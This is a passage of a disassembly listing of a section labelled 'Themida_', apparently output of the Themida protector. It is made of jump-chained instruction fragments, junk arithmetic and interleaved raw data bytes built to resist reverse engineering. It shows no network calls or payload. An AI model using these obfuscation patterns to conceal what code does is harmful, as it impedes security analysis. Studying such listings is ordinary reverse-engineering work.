		dd 3726FADBh, 0A5E9C829h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565963:				; CODE XREF: Themida_:00576741j
		mov	[esp], eax
		push	edi
		push	31842D0Fh
		pop	edi
		sub	edi, 1
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 57D579Fh
		mov	ebx, 34F97A90h
		xor	ebx, esi
		pop	esi
		jmp	loc_571E5D
; ---------------------------------------------------------------------------
		dd 0D0F645B0h, 0E504D0F6h, 0B82CD934h, 0DFE9C100h, 89FFFFE1h
		dd 0DB2D5EF7h, 52AF051h, 1D0601A9h, 0D7E9F801h,	33FFFFECh
		dd 875C2414h, 2BE9241Ch, 0B5FFFFD8h, 0EBD8E9B8h, 0CB29FFFFh
		dd 8AC38159h, 140420Ch,	8AEB81C3h, 0E940420Ch, 10B64h
		dd 0FF2434FFh, 78E92434h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5659E7:				; CODE XREF: Themida_:0056E0C0j
		dec	eax
		add	eax, 0E9EF3FFAh
		jmp	loc_56C4C4
; ---------------------------------------------------------------------------
		dw 1433h
		dd 4895C24h, 66736824h,	0C890000h, 59E36824h, 56596A86h
		dd 313DE9h, 8BDD8800h, 8950241Ch, 4B951E0h, 1000000h, 0C08359C8h
		dd 7276E904h, 4050000h,	2D000000h, 4, 0E9240487h, 8CBBh
		dd 4460BF57h, 48E979BCh, 54000085h, 40558h, 0BCE90000h
		dd 800000C9h, 0EB80D8C3h, 0E9C300E3h, 0FFFFC586h, 0E9241C89h
		dd 98B1h, 10FD68h, 24248900h, 4240481h,	5A000000h, 4C281h
		dd 0EA810000h, 4, 31241433h, 14332414h,	8F545C24h, 0BE562404h
		dd 4, 4247401h,	24148B5Eh, 4C481h, 0C2810000h, 4, 12FAB951h
		dd 0D1F71997h, 0FC00E949h, 0C380FFFFh, 69C38062h, 0EB80E328h
		dd 62EB8069h, 0F6EAB551h, 11C580D5h, 7676E9h, 24043300h
		dd 0FFF618E9h, 9D56BEFFh, 0EE01EE2Fh, 5D2434FFh, 8192E9h
		dd 0B554E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565AEE:				; CODE XREF: Themida_:0056B4A8j
		push	edx
		mov	edx, 13522735h
		jmp	loc_571BF1
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 3Ch
		dd 5D2F8434h, 1046DE9h,	0F5EF8100h, 2958A04Fh, 0F5C781EFh
		dd 6858A04Fh, 4409h, 0B9240C89h, 8C5143h, 5D59CF01h, 0FFC273E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565B29:				; CODE XREF: Themida_:0057226Dj
		xor	[esp], ebx
		jmp	loc_566F4A
; ---------------------------------------------------------------------------
		db 89h,	0EEh, 0E9h
		dd 0FFFFBD39h, 700BE957h, 0C6810000h, 4, 5C243487h, 690368h
		dd 24148900h, 0FFE04FE9h, 0C9815AFFh, 523A39F3h, 82E9D1F7h
		db 6, 1, 0
; ---------------------------------------------------------------------------


loc_565B63:				; CODE XREF: Themida_:005623C1j
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, esp
		push	ebp
		push	4
		pop	ebp
		jmp	loc_56D1B5
; ---------------------------------------------------------------------------


loc_565B76:				; CODE XREF: Themida_:00571FE2j
		mov	ecx, esi
		mov	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	7014h
		mov	[esp], ebx
		mov	ebx, 1C3B6413h
		shl	ebx, 2
		shr	ebx, 5
		shr	ebx, 7
		add	ebx, 0FFF8F12Bh
		sub	esi, 46FD0012h
		add	esi, ebx
		push	ebp
		mov	ebp, 46FD0012h
		jmp	loc_56EC87
; ---------------------------------------------------------------------------


loc_565BB8:				; CODE XREF: Themida_:0057196Bj
		pop	edi
		add	esp, 4
		push	ecx
		mov	ecx, 14AC708Bh
		xor	ecx, 276E4E7Ah
		and	ecx, 28AD06ACh
		shl	ecx, 4
		shl	ecx, 1
		xor	ecx, 4F7596C5h
		add	edi, ecx
		jmp	loc_568D95
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 4116658h,	4FE99C24h, 81FFFFB4h, 4C7h, 4EF8300h
		dd 5C243C87h, 0E9240C89h, 0DBBFh, 95E9EBB4h, 8B0000EFh
		dd 0C481242Ch, 4, 8324148Bh, 34FF04C4h,	0E9565D24h, 95A1h
; ---------------------------------------------------------------------------


loc_565C28:				; CODE XREF: Themida_:005704CBj
		shr	edx, 5
		jmp	loc_5623A6
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 0E954240Ch, 1F22h
; ---------------------------------------------------------------------------


loc_565C40:				; CODE XREF: Themida_:0056CF61j
		mov	dl, ch
		pop	ecx
		mov	ch, dl
		jmp	loc_56B1A7
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0C866E9h, 2DAFB900h,	0CA3174C8h, 0B2BE5659h,	0E94AD210h
		dd 1C1Dh, 405E089h, 68000000h, 422Dh, 0BF243C89h, 14B03848h
		dd 384CF781h, 0F82914B0h, 2404335Fh, 33240431h,	248B2404h
		dd 24048924h, 0E3603CB8h, 72EB8149h, 179FF37h, 6792E9C3h
		dd 0B9510000h, 3D5F8EF0h, 3159CE01h, 0C8315EF1h, 83240C8Bh
		dd 348904ECh, 0A201E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565CBE:				; CODE XREF: Themida_:005720A8j
		mov	edx, 7A744362h
		inc	edx
		jmp	loc_568139
; ---------------------------------------------------------------------------
		db 68h,	0EEh, 6Fh
		dd 0DCE90000h, 81000101h, 0BC5DABC5h, 81D50124h, 0BC5DABEDh
		dd 0B8505324h, 5BC86AD9h, 87483D35h, 3ABF570Ah,	81111C5Fh
		dd 537BA7E7h, 65CF8129h, 81493B64h, 0E10AFFEFh,	0DAC6E94Ah
		dd 0EA81FFFFh, 451562Eh, 5557CA29h, 0DD4D99BDh,	5DEF8970h
		dd 2F24C781h, 0F0E9796Dh, 5D00001Dh, 81E28952h,	4C2h, 4C28300h
		dd 0B069E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565D3A:				; CODE XREF: Themida_:0056AE68j
		or	esi, 563C0C50h
		push	ecx
		mov	ecx, 0F958825Eh
		xor	esi, ecx
		jmp	loc_56C735
; ---------------------------------------------------------------------------


loc_565D4D:				; CODE XREF: Themida_:0056A52Bj
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563A89
; ---------------------------------------------------------------------------


loc_565D5C:				; CODE XREF: Themida_:0056C824j
		mov	edi, [esp]
		jmp	loc_56878B
; ---------------------------------------------------------------------------
		dd 16B9E981h, 0BA524CEBh, 1F7227F7h, 11FFEA81h,	0E5E935D8h
		dd 57FFFFF0h, 953EF3BFh, 0F7F78122h, 122953Eh, 0C3815FFBh
		dd 4, 0DCD4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565D96:				; CODE XREF: Themida_:0056EB3Bj
		push	eax
		mov	ah, 60h
		add	bh, ah
		pop	eax
		sub	al, 18h
		add	al, bh
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, 70h
		add	ah, 38h
		or	ah, 65h
		and	ah, 16h
		push	edx
		mov	dh, ah
		jmp	loc_568107
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0BA241489h, 5FE91474h, 8B5AD729h, 89502434h,	405E0h
		dd 0C0830000h, 24048704h, 2C7815Ch, 33000000h, 23E9243Ch
		dd 870000BBh, 0FF5C241Ch, 148B2434h, 0E1895124h, 4C181h
		dd 0C1830000h, 240C8704h, 4C4835Ch, 0FFB235E9h,	81F701FFh
		dd 751526EFh, 0D23AE96Fh, 0E3C1FFFFh, 0C4CB8104h, 817F3650h
		dd 0A964C1CBh, 0BCF3810Eh, 1904344h, 0EA815BDAh, 73245387h
		dd 0CA03E9h
		db 0
; ---------------------------------------------------------------------------


loc_565E3D:				; CODE XREF: Themida_:005656B1j
		mov	bh, 0DEh
		mov	cl, bh
		pop	ebx
		push	4146h
		mov	[esp], edx
		jmp	loc_56F7A1
; ---------------------------------------------------------------------------
		db 81h
		dd 19645CC2h, 0DAF75E5Ah, 4EC81h, 1C890000h, 658EBB24h
		dd 814B2F74h, 4F2AB1CBh, 9C75E920h, 74FF0000h, 8F5B0424h
		dd 305C2404h, 0E99C2404h, 0AAA4h, 0C675E95Dh, 57530000h
		dd 0C3815F5Bh, 73CB2C5Dh, 3A7BEA81h, 0DA2937E7h, 5933E9h
		dd 0E3C18100h, 817CD46Fh, 0BA5D17E9h, 0C8015D3Dh, 592434FFh
		dd 5704C483h, 7D62E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565EBE:				; CODE XREF: Themida_:00574066j
		mov	esp, [esp]
		push	21ECh
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		push	1FAF389Ch
		pop	esi
		xor	esi, 180E39C4h
		jmp	loc_571785
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 4BA5200h, 1000000h, 4875AD0h, 51555C24h, 0D05C3168h
		dd 0C181594Ch, 0B32FA3D3h, 0C8BCD89h, 4C48124h,	81000000h
		dd 6D09A7EBh, 81EB0129h, 6D09A7C3h, 242C8B29h, 0FFD668E9h
		dd 148B66FFh, 2C48124h,	28000000h, 44B151E8h, 72FE9h
		db 0
; ---------------------------------------------------------------------------


loc_565F3D:				; CODE XREF: Themida_:00562196j
		pop	eax
		add	al, 0C3h
		add	al, 0B6h
		sub	al, bh
		push	ebx
		mov	bh, 0FAh
		xor	bh, 0FAh
		jmp	loc_575244
; ---------------------------------------------------------------------------
		db 0D1h
		dd 94F581E5h, 1573A95h,	0F7015DEFh, 6F9EEF81h, 56E95A86h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565F67:				; CODE XREF: Themida_:0056ABFDj
		sub	ebp, 119E5F25h
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	35E3h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_566D66
; ---------------------------------------------------------------------------
aVzl4Spq	db '^VZ‹4$éPq',0
		db 0
; ---------------------------------------------------------------------------


loc_565F95:				; CODE XREF: Themida_:00566438j
		xor	edi, ebp
		pop	ebp
		shl	edi, 8
		jmp	loc_565946
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 74FF5000h, 8F580424h, 248B2404h
		dd 0FFE83124h, 64E92434h, 8BFFFFFDh, 0C4832434h, 51B95104h
		dd 495B1250h, 72CC981h,	0D9F769FBh, 0FFDF47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565FDD:				; CODE XREF: Themida_:00564D13j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_570607
		push	6149h
		jmp	loc_56F590
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 58h
		dd 0E94E9F2Fh, 0FFFFFCD7h, 243C875Ch, 924248Bh,	0E99C2404h
		dd 0FFFFB036h, 4C4815Bh, 0E9000000h, 0FFFFFA37h
; ---------------------------------------------------------------------------


loc_566018:				; CODE XREF: Themida_:0056C974j
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_564260
; ---------------------------------------------------------------------------


loc_566026:				; CODE XREF: Themida_:0057366Dj
		pop	esi
		jmp	loc_5619A9
; ---------------------------------------------------------------------------


loc_56602C:				; CODE XREF: Themida_:00567E51j
		add	esp, 4
		push	2660h
		jmp	loc_56427E
; ---------------------------------------------------------------------------
		db 0BDh, 5Bh, 58h
		dd 85E97F7Ah, 5A0000FCh, 5C243C87h, 0E99CC885h,	0FFFFAFF2h
		dd 6AE94259h, 880000A9h, 58E188D4h, 0C8885053h,	91E9C388h
		dd 81000029h, 9D59D9CAh, 3EEA810Bh, 3153BF96h, 0EA015AD5h
		dd 0FFC45FE9h, 5EBC1FFh, 97FE9h
		db 0
; ---------------------------------------------------------------------------


loc_566085:				; CODE XREF: Themida_:0056A0BCj
		add	esp, 4
		jmp	loc_569BC0
; ---------------------------------------------------------------------------
aSF		db ']éÌF',0
		dw 8B00h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56F603
; ---------------------------------------------------------------------------
aXrsk		db 'XRéK¶',0
		db 0
; ---------------------------------------------------------------------------


loc_5660AB:				; CODE XREF: Themida_:00563CD4j
		sub	ebx, 8EABC4h
		mov	esi, ebx
		pop	ebx
		sub	ebx, 91F3E76h
		jmp	loc_569892
; ---------------------------------------------------------------------------
		db 5
		dd 2D27084Bh, 4055Fh, 4330000h,	0DE924h, 0CF800001h, 690E9D9h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5660DA:				; CODE XREF: Themida_:0056D319j
		mov	[esp], ebx
		mov	ebx, 61E83196h
		xor	ebx, 75B327C1h
		xor	edi, ebx
		jmp	loc_574201
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF2h, 81E68956h, 4C6h, 25FFE900h, 0E2890000h, 4C281h
		dd 0BD550000h, 4, 0E95DEA29h, 4B9Ah, 0EB80D9B3h, 0E9D3F64Ah
		dd 0E2B4h, 6D29E381h, 0C38115E6h, 3F856A85h, 7E0EEB81h
		dd 0F3810116h, 3F111875h, 0C611E9h, 81EF0100h, 2E20CEC7h
		dd 242C8B58h, 4C481h, 0D7310000h, 0D731FA31h, 0ACCDE9h
		dd 0E3B000h, 0EC8358C3h, 4896602h, 0B03BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56616E:				; CODE XREF: Themida_:005658E8j
		mov	ebx, 93927D3h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_571006
; ---------------------------------------------------------------------------
		db 0B3h, 4Ch, 83h
		dd 1C8904ECh, 88D0B324h, 0D8005BD8h, 83241C8Bh,	0C73004C4h
		dd 0E0895058h, 405h, 2BE5600h, 29000000h, 4875EF0h, 89665C24h
		dd 0B3532404h, 0DD8851A2h, 0CE90E9h, 4EC8300h, 81242489h
		dd 42404h, 3C8B0000h, 60EF6824h, 2C890000h, 68E58924h
		dd 155Eh, 0AFA0E9h, 0E236800h, 2C890000h, 0A9685124h, 89000034h
		dd 0B2BB241Ch, 8904F30Eh, 0BD555BD9h, 4E0E6C13h, 0A791C581h
		dd 0E9312CE5h, 0CF92E95Dh, 0E281FFFFh, 6AC92F1Fh, 2C0DEA81h
		dd 0D5892A49h, 0D443E95Ah, 0D9F7FFFFh, 1F53F181h, 0C1815F98h
		dd 5B5529F8h, 0E981D9F7h, 768D417Eh, 4117C181h,	0CB89CDB9h
		dd 0BC685359h, 0E9572636h, 0B386h, 0EC81CF01h, 4, 51241489h
		dd 28C16852h, 0F75A2AE5h, 0B23AE9DAh, 0DE01FFFFh, 23C5E9h
		dd 7802BD00h, 0D5F7355Ch, 21FFE951h, 0E6880000h, 0EEC18058h
		dd 81E9F100h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566287:				; CODE XREF: Themida_:00563B14j
		mov	eax, 416D6868h
		sub	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_568B5A
; ---------------------------------------------------------------------------


loc_566299:				; CODE XREF: Themida_:00568955j
		pop	edx
		not	esi
		shl	esi, 4
		push	eax
		push	1D172F54h
		pop	eax
		push	680Bh
		mov	[esp], ecx
		mov	ecx, 2D0F0474h
		xchg	eax, ecx
		push	327h
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		jmp	loc_56AFD8
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8BC30104h, 1C682404h, 8900000Ch, 5F54243Ch, 0FFC50CE9h
		dd 81D1F7FFh, 0ACA4A1C1h, 59CE0912h, 5C1D6857h,	815F70F4h
		dd 5212D2C6h, 81FE290Fh, 5212D2EEh, 81465F0Fh, 56B824C6h
		dd 0DEB8E919h, 815FFFFFh, 4C4h,	4E88300h, 0E9240487h, 0FFFFDE09h
		dd 42474FFh, 24048F5Ah,	707E9h
		db 0
; ---------------------------------------------------------------------------


loc_566329:				; CODE XREF: Themida_:0056BF3Cj
		mov	cl, dl
		jmp	loc_561561
; ---------------------------------------------------------------------------


loc_566330:				; CODE XREF: Themida_:0056810Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_572553
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2414h, 5D54242Ch, 0FFF6EFE9h, 2474FFFFh,	3EAE904h
		dd 0A2680000h, 5D4C1E03h, 0B63F581h, 0EBE92D83h, 5FFFFD9h
		dd 75EC1034h, 5ACBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56636D:				; CODE XREF: Themida_:0056B205j
		mov	[esp], ecx
		mov	cl, 0F0h
		mov	bh, cl
		pop	ecx
		jmp	loc_56FC41
; ---------------------------------------------------------------------------
		dw 515Ch
		dd 677B5CB9h, 0F4B8E961h, 74FF0000h, 0C8B0424h,	0A2A6E924h
		dd 34FF0000h, 3FCCE924h, 0BD2D0000h, 130FC04h, 4BD05C8h
		dd 835930FCh, 48704C0h,	0D420E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5663B2:				; CODE XREF: Themida_:00561459j
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	2668h
		mov	[esp], edx
		push	ecx
		mov	ecx, 1F21839h
		dec	ecx
		jmp	loc_57437B
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 7382F9FCh, 22E95851h, 33000036h, 248B240Ch, 0B60F6624h
		dd 0EC8353C8h, 242C8904h, 0BF51E9h
		db 0
; ---------------------------------------------------------------------------


loc_5663F9:				; CODE XREF: Themida_:00563E6Aj
		mov	[edi+28h], ch
		jmp	loc_56E9B3
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240419h, 0FFAC31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566411:				; CODE XREF: Themida_:005623D2j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56FA51
; ---------------------------------------------------------------------------


loc_56641F:				; CODE XREF: Themida_:0056F0BCj
		mov	esi, [esp]
		add	esp, 4
		dec	edi
		push	ebp
		mov	ebp, 6994890h
		sub	ebp, 1
		sub	ebp, 0FD5D1FB6h
		jmp	loc_565F95
; ---------------------------------------------------------------------------


loc_56643D:				; CODE XREF: Themida_:0056DE4Cj
		add	esi, 4
		jmp	loc_56FC35
; ---------------------------------------------------------------------------
		dd 0E3E9815Dh, 17CD46Fh, 0FA4BE9E9h, 0C481FFFFh, 4, 0F828AB2Ch
		dd 0B3535266h, 30B0B61Bh, 0A1B8E9DEh, 0E3890000h, 4C381h
		dd 0C3810000h, 4, 0E9241C87h, 0A385h, 104C483h,	24148BD3h
		dd 8904EC83h, 8B542414h, 0C4812414h, 4,	0B842E9h, 0E3895300h
		dd 4C381h, 0C2680000h, 8900007Dh, 4BD242Ch, 81000000h
		dd 6501BDC3h, 81EB0108h, 6501BDEBh, 242C8B08h, 4C481h
		dd 1C330000h, 52EDE924h, 0E1C00000h, 0A6E18004h, 0F4AAE950h
		dd 5651FFFFh, 0C5AE9h, 0DFB25200h, 5CE9D388h, 89FFFFF0h
		dd 0E6892434h, 0A721E9h
		db 0
; ---------------------------------------------------------------------------


loc_5664FD:				; CODE XREF: Themida_:00568F7Fj
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_561906
; ---------------------------------------------------------------------------


loc_56650E:				; CODE XREF: Themida_:0056F4E2j
		sub	esi, 2B921057h
		xor	edi, esi
		pop	esi
		sub	ebp, 750038D4h
		add	ebp, edi
		add	ebp, 750038D4h
		jmp	loc_56F009
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 5BD8089Ah, 0C02E0C0h, 7B252C1h, 9AE9D2F6h, 8100007Eh
		dd 0DC04246Ch, 0E934ED0Ah, 0A63Ch, 4C481h, 0EA810000h
		dd 6EDD2627h, 6468B951h, 0E98149B4h, 7A3F15D9h,	5B54C981h
		dd 0C181659Fh, 2BF50F6Dh, 0C8BCA29h, 0E0895024h, 405h
		dd 4C08300h, 0E9240487h, 0C2E6h, 1510CA81h, 0C28171C8h
		dd 0A01264h, 148BD529h,	9E9FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56659E:				; CODE XREF: Themida_:00571F37j
		mov	ecx, 78F6267Ah
		jmp	loc_574ACC
; ---------------------------------------------------------------------------
		dd 8104C483h, 4ECh, 243C8900h, 51643BBFh, 0C9C78134h, 81CBAE9Bh
		dd 812774C5h, 81FD0102h, 812774EDh, 0EC815F02h,	4, 0E9243C89h
		dd 0FFFFB80Ah
; ---------------------------------------------------------------------------


loc_5665DC:				; CODE XREF: Themida_:005735F1j
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_568D0E
; ---------------------------------------------------------------------------


loc_5665F6:				; CODE XREF: Themida_:00565927j
		add	ebx, edi
		pop	edi
		sub	ebx, eax
		jmp	loc_5719CF
; ---------------------------------------------------------------------------


loc_566600:				; CODE XREF: Themida_:00561DE1j
		xchg	edi, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	606Ah
		jmp	loc_569381
; ---------------------------------------------------------------------------
		dd 1C18341h, 0B610E9h, 4EC8100h, 89000000h, 3768242Ch
		dd 5D308952h, 25C6C581h, 0E989DCC7h, 0FC7BE9h, 0DF296600h
		dd 0D5E95B66h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566647:				; CODE XREF: Themida_:005648FBj
		push	ebp
		push	eax
		push	6F7710D7h
		pop	eax
		inc	eax
		sub	eax, 1FB1EF52h
		mov	ebp, eax
		pop	eax
		shl	ebp, 2
		neg	ebp
		dec	ebp
		add	ebp, 0AD5991D6h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56C11F
; ---------------------------------------------------------------------------
		dd 0B753C9FEh, 5BF900C2h, 2C59C828h, 0EB62E986h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56667E:				; CODE XREF: Themida_:0056C797j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4E04246Ch, 167656Dh,	0E9042474h, 8452h, 0C382EB81h
		dd 0DF01C15Ch, 5BB535Bh, 0E9168E25h, 0FFFFEFA5h, 3021BB53h
		dd 0EBC14341h, 3E3C106h, 14BDF381h, 97E92616h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5666C7:				; CODE XREF: Themida_:0056CA78j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ebx, [esp]
		pop	esp
		dec	word ptr [esp]
		pushf
		jmp	loc_561042
; ---------------------------------------------------------------------------
		dd 0FF36E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5666E2:				; CODE XREF: Themida_:0056AAF5j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	ecx
		jmp	loc_56C1AC
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0F2h
		dd 0C1613E65h, 35E902E8h, 89000037h, 7DBA2414h,	5278FD53h
		dd 0F7241487h, 7DE952D2h, 810000C4h, 0AC4E44E1h, 0A4C9814Dh
		dd 5617437Dh, 690FC0BEh, 5EF12975h, 31B0F181h, 70E9E4DDh
		dd 66FFFFACh, 0E9240C8Bh, 1DDAh, 24048F5Bh, 6624248Bh
		dd 9C2404D3h, 0FFA8F5E9h, 0D1D2F7FFh, 85F281EAh, 894A3840h
		dd 0CE015AD1h, 9FE95159h, 66FFFFEFh, 0E924048Bh, 0D45Eh
		dd 0EE81D601h, 58153E20h, 8324148Bh, 90E904C4h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56677F:				; CODE XREF: Themida_:0056247Cj
		push	edx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_56AF5E
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0FFh
		dd 0FFFFFFEBh, 37E92434h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_566797:				; CODE XREF: Themida_:0056AFDCj
		xchg	eax, ecx
		sub	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 9CB709E1h
		jmp	loc_569CEC
; ---------------------------------------------------------------------------


loc_5667A9:				; CODE XREF: Themida_:00569CCBj
		pop	eax
		push	ebp
		jmp	loc_562EC1
; ---------------------------------------------------------------------------
		dd 1474C781h, 0C4685FE9h, 89000050h, 0D1BD242Ch, 813CEC0Dh
		dd 0D66933E5h, 0ED814D49h, 3A4C3267h, 59A4ED81h, 74E94799h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667DB:				; CODE XREF: Themida_:0056E53Bj
		mov	edx, 0D581AD2h
		add	ebx, edx
		pop	edx
		push	edx
		mov	edx, 52C1A84h
		push	ecx
		mov	ecx, 6D3304B6h
		add	ebx, ecx
		jmp	loc_574FFD
; ---------------------------------------------------------------------------


loc_5667F6:				; CODE XREF: Themida_:00572AEDj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_572E30
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4BE5600h, 81000000h, 102091C3h, 81F30158h, 102091EBh
		dd 24348B58h, 93F3E9h, 5BDD3100h, 75A68h, 242C8900h, 10243481h
		dd 59547039h, 3910F181h, 0E95D5470h, 381Dh, 0D5793105h
		dd 0F5685E0Ch, 8900004Ah, 0CDE9242Ch, 0FFFFC6h,	241C8BF8h
		dd 0E9E28952h, 0D0Ch, 0A4B9515Ah, 417E2868h, 68A3E981h
		dd 48E97E28h, 66000059h, 163CE953h, 81BB0000h, 0D13EC03Ah
		dd 0FFC381EBh, 0F7FFFFFFh, 228368DBh, 0C890000h, 0BA525624h
		dd 52C0059Ah, 0FFEA1EE9h, 4CE95FFFh, 0BB000001h, 46B76ECCh
		dd 99E9DF89h, 0C1000092h, 4DE908EBh
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5668B7:				; CODE XREF: Themida_:0056ECB3j
		sub	esi, 5DEA26ECh
		sub	esi, 0BABE041Ch
		sub	ecx, esi
		pop	esi
		add	ecx, eax
		add	ecx, 1D8E6744h
		jmp	loc_56E4C1
; ---------------------------------------------------------------------------


loc_5668D3:				; CODE XREF: Themida_:005716BDj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_562455
; ---------------------------------------------------------------------------
		dd 8B243C87h, 0C892424h, 5EE95424h, 5EFFFFEFh, 0F6242C81h
		dd 0E92CC51Eh, 9A96h, 24048B5Bh, 381EE9h
		db 0
; ---------------------------------------------------------------------------


loc_566901:				; CODE XREF: Themida_:0056E928j
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	21B5h
		mov	[esp], eax
		jmp	loc_561042
; ---------------------------------------------------------------------------


loc_56691B:				; CODE XREF: Themida_:00572CBCj
		push	eax
		jmp	loc_56E94C
; ---------------------------------------------------------------------------
aAxnsS		db '€åNé"s',0
		db 0
; ---------------------------------------------------------------------------


loc_566929:				; CODE XREF: Themida_:00571889j
		mov	ecx, 3B894E56h
		push	edi
		mov	edi, 5C760F41h
		and	edi, 46E842C8h
		add	edi, 0D7B280Bh
		add	edi, 7E58127Bh
		sub	ecx, 3A1003F6h
		sub	ecx, edi
		add	ecx, 3A1003F6h
		mov	edi, [esp]
		add	esp, 4
		not	ecx
		jmp	loc_56BDBC
; ---------------------------------------------------------------------------
		dd 241C8B66h, 8302C483h, 20E904ECh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566973:				; CODE XREF: Themida_:00562711j
		add	eax, 4
		jmp	loc_57542B
; ---------------------------------------------------------------------------
		db 52h,	51h, 68h
		dd 510E6BD4h, 13C0E9h
		db 0
; ---------------------------------------------------------------------------


loc_566989:				; CODE XREF: Themida_:005734F0j
		add	[esp], eax
		push	esi
		mov	esi, 60ED0F6Eh
		add	[esp+4], esi
		jmp	loc_574BAC
; ---------------------------------------------------------------------------
aVsjw		db 'Vé†w',0
		dd 44E95A00h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5669A7:				; CODE XREF: Themida_:0056AF6Fj
		mov	ebp, 2A0B790Eh
		xor	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	edi, 2
		or	edi, 77F05345h
		jmp	loc_56968C
; ---------------------------------------------------------------------------


loc_5669CD:				; CODE XREF: Themida_:00567411j
		push	esi
		jmp	loc_572D6C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 835C2404h, 148904ECh, 4271BA24h, 0D0290711h,	8324148Bh
		dd 0BE904C4h, 33000041h, 1C31241Ch, 241C3324h, 0FE24248Bh
		dd 0E99C2404h, 0FFFFA63Eh, 8104EBC1h, 7CEFCEC3h, 5BDA291Bh
		dd 15AD589h, 242C8BEBh,	4C481h,	7CE90000h, 810000FEh, 432A2BC1h
		dd 0E9F10132h, 0FFFFBEEBh, 1487D2F7h, 3581E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566A3A:				; CODE XREF: Themida_:00562515j
		shr	esi, 7
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56887B
; ---------------------------------------------------------------------------


loc_566A55:				; CODE XREF: Themida_:005698D2j
		xor	esi, 47AE321Dh
